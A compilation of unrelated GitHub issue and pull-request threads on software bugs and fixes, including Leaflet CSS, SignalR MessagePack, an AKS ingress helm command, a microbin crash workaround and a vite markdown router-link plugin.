What do you mean by that? That link works for me.

I switched to http://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css and it worked.

Note, that those are styles for leaflet v0.7.7. You should use the same version of .js and .css Leaflet files

@cherniavskii Correct, the 0.7.7 link works.  The one I was using previously (1.3.4) didn't.

Both of them work for me.
Btw, you can import css from node_modules as well

Yup, just did that as well 😆  . . . import from leaflet/dist/leaflet.css.  All is well now.  Thanks.


auto training test on gpus

travis is nice for unittest, but i see the importance to run more testing codes. for example, training conv-net (lenet on mnist, inception on cifar10) on gpus, all various of local kvstore, and the distributed version.
my current thought is letting a gpu machine (either a local one or ec2) pull mxnet every n hour (probably not for every push), run the all (probably expensive) tests, and send an email if fails. it would be even better to ship it on docker.

I've created CPU and CUDA Docker images - the source and documentation is here. If these are suitable then you can add them to the docs or I can do it and submit a PR.
I've only done basic tests - running a MNIST example and creating a GPU array, so you probably will want to do more.

Hi Kaixhin,
That an awesome news. Can you put instructions on https://github.com/dmlc/mxnet/blob/master/doc/build.md and add a link https://github.com/dmlc/mxnet#contents (probably on the same line with Installation)


[Doc] Update the changelog page

https://base-apps.github.io/angular-base-apps/#!/changelog
I'm currently considering to migrate from foundation-apps to angular-base-apps but a properly updated changelog would help a lot to understand the changes between the two.
I want to know what I'll get, and if it is actually an interesting move to make.
The main question I am wondering are:

Is it a drop in replacement? It very much seems to be (up to 1.2.6) but it's hard to find a definitive answer. If not (or when 2.0 comes), where is the migration guide?
What bugfixes am I getting with it?
Any new features?
Is that doc even up to date? There is no date or version. What version is targeted by the doc? Changelog page indicates 1.2 (no change), while CND links seem to indicate 1.2.6. Readme says it's latest release, confirming it.

So I could find the answer to most questions by browsing around, eg. #9, #35, tags history, readme. But this is not ideal.

@Seb- Thanks for taking interest in this fork!  I admit the changelog needs some work which I'll hopefully get to soon, but for now here is the info you're looking for:

Version 1.2.x is a drop in replacement for Foundation for Apps and contains the following fixes/features

https://github.com/base-apps/angular-base-apps/pull/14 (fix) -  All pending PRs from Foundation for Apps
https://github.com/base-apps/angular-base-apps/pull/17 (fix) - Initializing state definitions with empty resolve object
https://github.com/base-apps/angular-base-apps/pull/19 (feature) - adding gutters using block-spacing
https://github.com/base-apps/angular-base-apps/pull/30 (fix) - Fix tabs component
https://github.com/base-apps/angular-base-apps/pull/34 (fix) - Fix accordion component
https://github.com/base-apps/angular-base-apps/pull/41 (feature) - implementation of confirm and prompt modals

Docs are for the latest releast which is version 1.2.6
Version 2.0 removes all references to foundation and will be completely separated from ZURB. The migration guide is already written and is part of the installation docs.  Run the docs locally to see those changes.

Changelog has been updated for 1.2.x and 2.0.0


[Fix] Multiout layer calcDerivative initialize

[Fix] Multiout layer calcDerivative initialize

This patch fixes multiout layer to initialize for calcDerivative

**Self evaluation:**
1. Build test: [X]Passed [ ]Failed [ ]Skipped
2. Run test: [X]Passed [ ]Failed [ ]Skipped

Signed-off-by: Jihoon Lee<EMAIL_ADDRESS>

:memo: TAOS-CI Version: 1.4.20191203. Thank you for submitting PR #1096. Please a submit 1commit/1PR (one commit per one PR) policy to get comments quickly from reviewers. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://nnsuite.mooo.com/.


How to know which records are failing a given test?

Hello!
Having a failing test how to know which records make the test fail?
I am trying to run the query compiled by datamocktool but it seems that during a test run it used a table that no longer exists in the database
-- setup

with a as (

    select * from "postgres"."dev_analytics"."test_fxt_dim_ads__expected"

),

b as (

    select * from "dim_ads_dmt_33969964105433987363"

),

a_minus_b as (

    select "ad_id", "list_id", "account_id", "user_type", "subcategory_id", "type", "condition", "status", "region_id", "area_id", "platform_initial", "has_phone_hidden", "inserted_at", "published_at", "last_deactivated_at", "deleted_at", "was_sold_on_site", "price", "remuneration_type", "currency", "has_halva", "name", "ad_params" from a

    except

    select "ad_id", "list_id", "account_id", "user_type", "subcategory_id", "type", "condition", "status", "region_id", "area_id", "platform_initial", "has_phone_hidden", "inserted_at", "published_at", "last_deactivated_at", "deleted_at", "was_sold_on_site", "price", "remuneration_type", "currency", "has_halva", "name", "ad_params" from b

),

b_minus_a as (

    select "ad_id", "list_id", "account_id", "user_type", "subcategory_id", "type", "condition", "status", "region_id", "area_id", "platform_initial", "has_phone_hidden", "inserted_at", "published_at", "last_deactivated_at", "deleted_at", "was_sold_on_site", "price", "remuneration_type", "currency", "has_halva", "name", "ad_params" from b

    except

    select "ad_id", "list_id", "account_id", "user_type", "subcategory_id", "type", "condition", "status", "region_id", "area_id", "platform_initial", "has_phone_hidden", "inserted_at", "published_at", "last_deactivated_at", "deleted_at", "was_sold_on_site", "price", "remuneration_type", "currency", "has_halva", "name", "ad_params" from a

),

unioned as (

    select 'a_minus_b' as which_diff, a_minus_b.* from a_minus_b
    union all
    select 'b_minus_a' as which_diff, b_minus_a.* from b_minus_a

)

select * from unioned

ERROR:  relation "dim_ads_dmt_33969964105433987363" does not exist

Obviously --store-failures flag is the way to go.
Excuse me.


Hi-card calculation wrong in case of pair in shared cards, and no combinations in both players :(

POKER:
Example:
Shared cards: A J 3 Q 3   (30, 27, 51, 44, 67)
player1 cards: 8 5  (72, 37)
player2 cards: 8 2 (56, 34)
player 2 win with message (rank):  "one pair". It's wrong. See screenshot.
I think, the  payer 1 must win with: highcard.

Also, i think, i'm found missing code for Holdem.sort function, then we need check last pair for double.
need to add at bottom of if block:
else if (d3 === 0) {
// ABCXX -> XXABC
for(var i=0; i<3; i++) cards.push( cards.shift() );
} else {
// ABCDE
}

i click games ,but i cant see any games ,can u help me

any progress on this issue?

You have correctly identified that the hand evaluation is wrong, but it should be a split pot - not a win for player 1 as you suggested.
Both players share the winning hand (AQJ33) - the 85 and 83 are both irrelevant because the best 5 card hand is comprised solely of the shared cards.


Use MessagePackProtocol to Send Class, But is null

I send some message with class ,but server Receive is empty,
null =>

My program is as follows, have any problem?
client Site Code:

server side code:

hub:

Class:

Here's an example:
https://damienbod.com/2018/03/19/using-message-pack-with-asp-net-core-signalr/

@Hamielkuo  The LowerCamel config on the server causes the null problem. Use the default option an it should return something.

Unfortunately, it seems the MessagePack "key transformers" are uni-directional, they only apply to outbound serialization not to inbound deserialization. We're going to be doing some work to evaluate this as we review our MsgPack support (see #1524).

This is something we're tracking in #1524 so I'm going to close this as a duplicate of that. Feel free to continue commenting and we can review when we work on #1524. @damienbod 's workaround should work for now.

@damienbod , Thank you help ,  your plan solved my problem ^^

@anurse  ok, thank you ^^


Ingress Controller Configuration Incomplete

At the time of writing, it is necessary to add controller.scope.enabled=true to the configuration of the ingress controller in order for the provided example to work correctly with namespaces.
This means, the installation command for nginx-ingress should be
helm install nginx-ingress stable/nginx-ingress --namespace <namespace> --set controller.replicaCount=2 --set controller.nodeSelector."beta\.kubernetes\.io/os"=linux --set defaultBackend.nodeSelector."beta\.kubernetes\.io/os"=linux --set controller.scope.enabled=true

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: fd0e7d5a-37e9-07dc-f395-9cb5bb580e45
Version Independent ID: 7e4faf70-9724-7e7b-832b-1cd99a974920
Content: Create an ingress controller - Azure Kubernetes Service
Content Source: articles/aks/ingress-basic.md
Service: container-service
GitHub Login: @mlearned
Microsoft Alias: mlearned

Thanks for the feedback! I have assigned the issue to the content author to investigate further and update the document as appropriate.

Thank you @vdeschwb for the feedback!
I was able to test the article and it is working as it is currently documented. We have added task to our backlog to consider this update and will prioritize accordingly.
#please-close


Can I use .Rmd file in the theme?

Can I use .Rmd file in the theme?
I have to run some code in Rstudio.
Thank you.

I'm not familiar with .rmd or Rstudio, this is something you will need to investigate yourself. Goodluck.


[SPARK-43010][PYTHON] Migrate Column errors into error class

What changes were proposed in this pull request?
This PR proposes to migrate errors from python/pyspark/sql/column.py into error classes.
Why are the changes needed?
To leverage the PySpark error framework.
Does this PR introduce any user-facing change?
No, it's about the error message improvement. No API changes.
How was this patch tested?
The existing CI should pass.

Merged to master.


POL-173 Update Azure policies for credential service 2

Description
Update listed Azure policies to support the credential service. The changes include-
-Replace auth declaration with the credential declaration.
-Remove long_description field and use new info hash for Version, providers and service.
-Update readme to replace credential instructions with instructions to use credential service.
-Update CWF definitions as needed.
Issues Resolved
Changed the authentication to credential services.
Contribution Check List

[x] All tests pass.
[x] New functionality includes testing.
[x] New functionality has been documented in the README if applicable
[x] New functionality has been documented in CHANGELOG.MD

Running template Link
Azure AHUB Utilization with Manual Entry
https://governance.rightscale.com/org/1105/projects/60073/policy-incidents/5e298c1bcbdfbd000104c1dd

Azure Hybrid Use Benefit for Windows Server
https://governance.rightscale.com/org/1105/projects/60073/policy-incidents/5e297f234ec7b300014e6b79

Azure Regulatory Compliance
https://governance.rightscale.com/org/1105/projects/60073/policy-incidents/5e3a8a48cbdfbd00012f8c73

Azure VMs Not Using Managed Disks
https://governance.rightscale.com/org/1105/projects/60073/applied-policies/5e2fdba006101000014d5f1a

          4 Errors

:no_entry_sign:
compliance/azure/ahub_manual/README.md:19: MD009 Trailing spaces
compliance/azure/ahub_manual/README.md:20: MD022 Headers should be surrounded by blank lines
compliance/azure/ahub_manual/README.md:27: MD032 Lists should be surrounded by blank lines
A detailed description of the rules is available at https://github.com/markdownlint/markdownlint/blob/master/docs/RULES.md

:no_entry_sign:
cost/azure/hybrid_use_benefit/CHANGELOG.md:7: MD018 No space after hash on atx style header
A detailed description of the rules is available at https://github.com/markdownlint/markdownlint/blob/master/docs/RULES.md

:no_entry_sign:
cost/azure/hybrid_use_benefit/README.md:10: MD032 Lists should be surrounded by blank lines
cost/azure/hybrid_use_benefit/README.md:9: MD034 Bare URL used
A detailed description of the rules is available at https://github.com/markdownlint/markdownlint/blob/master/docs/RULES.md

:no_entry_sign:
Policy Template path should be lowercase. compliance/azure/ahub_manual/Azure_AHUB_Utilization_with_Manual_Entry.pt

  Generated by :no_entry_sign: Danger


Crash on create,  no HTTP response

Describe the bug
When we try to POST  a paste, we get no HTTP response from server :(
To Reproduce
Steps to reproduce the behavior:
try to post paste at https://paste.cyberia.club/
Expected behavior
HTTP error response and meaningful error log message printed
Screenshots
thread 'actix-rt|system:0|arbiter:0' panicked at 'called `Result::unwrap()` on an `Err` value: PoisonError { .. }', src/endpoints/create.rs:77:41

Add any other context about the problem here.
its panicking on this line: https://github.com/szabodanika/microbin/blob/master/src/endpoints/create.rs#L77

please wait.......

Here is my chat log from how i figured out how to workaround this bug:
https://picopublish.sequentialread.com/files/matrix_export_microbin_debug/
The jist is, deleting the previous database json file seemed to fix it:
mv /var/lib/docker/volumes/microbin_microbin-data/_data/database.json /var/lib/docker/volumes/microbin_microbin-data/_data/database_backup.json

and then restarting microbin.
I don't want to post the database.json publicly but  I will say I did do some basic analysis on it using jq and it looks legit afaik:
root@paimon:/etc/docker-compose/microbin# cat /var/lib/docker/volumes/microbin_microbin-data/_data/database.json | jq keys
[
  0
]
root@paimon:/etc/docker-compose/microbin# cat /var/lib/docker/volumes/microbin_microbin-data/_data/database_backup.json | jq keys
[
  0,
  1,
  2,
  3,
  4
]
root@paimon:/etc/docker-compose/microbin# cat /var/lib/docker/volumes/microbin_microbin-data/_data/database.json | jq '.[0] | keys'
[
  "burn_after_reads",
  "content",
  "created",
  "editable",
  "encrypt_client",
  "encrypt_server",
  "encrypted_key",
  "expiration",
  "extension",
  "file",
  "id",
  "last_read",
  "pasta_type",
  "private",
  "read_count",
  "readonly"
]
root@paimon:/etc/docker-compose/microbin# cat /var/lib/docker/volumes/microbin_microbin-data/_data/database_backup.json | jq '.[0] | keys'
[
  "burn_after_reads",
  "content",
  "created",
  "editable",
  "encrypt_client",
  "encrypt_server",
  "encrypted_key",
  "expiration",
  "extension",
  "file",
  "id",
  "last_read",
  "pasta_type",
  "private",
  "read_count",
  "readonly"
]
root@paimon:/etc/docker-compose/microbin# ls -lah /var/lib/docker/volumes/microbin_microbin-data/_data/
total 56K
drwxr-xr-x 3 root root 4.0K Nov 22 21:17 .
drwx-----x 3 root root 4.0K Jan  5  2023 ..
-rw-r--r-- 1 root root  307 Nov 22 21:18 database.json
-rw-r--r-- 1 root root  37K Nov 20 18:17 database_backup.json

@szabodanika  if you would like I would be willing to share database_backup.json with you privately so you can reproduce the issue, just let me know :+1:  thanks for making this nice software :)

Just a thought, maybe the app should try to load the DB when it starts up, and if it can't, then it should fail to start and print a helpful error message.

+1 for that issue, happened here after a few months as well. a restart appears to be a temp workaround.


Treat inner relative links as router-links

Is it possible for the plugin to treat relative links like [link](page) as router-links so they don't reload the page, but navigate via the vue-router?

Might be possible with markdown-it plugin to rewrite <a> as <route-link>. Not very familiar with that part, but feel free to have a try. If it works, we can have it in the readme. Thanks!

Might be possible with markdown-it plugin to rewrite <a> as <route-link>. Not very familiar with that part, but feel free to have a try. If it works, we can have it in the readme. Thanks!

// vite.config
import vue from "@vitejs/plugin-vue";
import markdown from "vite-plugin-md";

export default defineConfig({
  plugins: [
    vue(),
    markdown({
      markdownItUses: [
        (md) => {
          const scan = (state) => {
            state.tokens.forEach((tokens) => {
              if (tokens.type !== "inline") {
                return;
              }
              const inlineTokens = tokens.children;
              let isRT = false;
              for (let i = 0; i < inlineTokens.length; i++) {
                if (isRT && inlineTokens[i].type === "link_close") {
                  inlineTokens[i].tag = "router-link";
                  isRT = false;
                } else if (inlineTokens[i].type === "link_open") {
                  const attrs = inlineTokens[i].attrs as any;
                  const href = attrs?.find((v: any) => v[0] === "href");
                  if (href && !href[1].startsWith("http")) {
                    inlineTokens[i].tag = "router-link";
                    inlineTokens[i].attrs = [["to", href[1]]];
                    isRT = true;
                  } else {
                    inlineTokens[i].attrs.push(["rel", "noopener noreferrer"]);
                    inlineTokens[i].attrs.push(["target", "_blank"]);
                  }
                }
              }
            });
          }
          md.core.ruler.push("router-link", scan);
        },
      ],
    }),
   ...
  ],
  ...
})


Small gaps showing.

Having small gaps showing. Never have this happen when I had no bar. It only happens with swaybar.
http://postimg.org/image/qq0dyyzp3/full/

This is related to what I've noticed in #303 (it's the same thing, only the issue is meant to cover another bug).
Reposting the important part for convenience:
Launching multiple windows horizontally (in the same workspace) creates a gap on the right end of the screen (gaps disabled), the width of which seems to increase the more windows you launch.
It's probably due to remaining pixels not being allocated to any of the windows (while dividing the screen's width / windows) but, since the gap is present on workspaces with even numbers of windows too (in that case horizontal pixels should divide perfectly), I'm kinda doubtful.
The above behaviour is reproduceable at any time on my 1366x768 display and might possibly affect vertical stacks too (it does affect them). The number of displayed windows required for the gap to show up might depend on the resolution.